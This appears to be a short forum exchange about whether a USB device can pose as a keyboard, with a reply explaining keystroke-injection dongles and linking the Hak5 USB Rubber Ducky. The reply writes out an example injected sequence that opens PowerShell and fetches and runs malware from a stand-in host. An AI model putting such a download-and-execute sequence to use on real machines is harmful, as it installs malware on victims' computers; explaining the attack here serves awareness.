"it’s USB so it can also suddenly change into a keyboard and inject keystrokes to steal your files and upload them "
And exactly how would it be able to achieve that?
Malicious USB dongles capable of achieving this have been demonstrated before. For example, a Windows-targetting variant injects the keyboard sequence
Super+R (Sleep for 1 second) powershell.exe (Enter) (Sleep for 1 second) wget http://example.net/malware.exe | cmd (Enter)
[1] https://shop.hak5.org/products/usb-rubber-ducky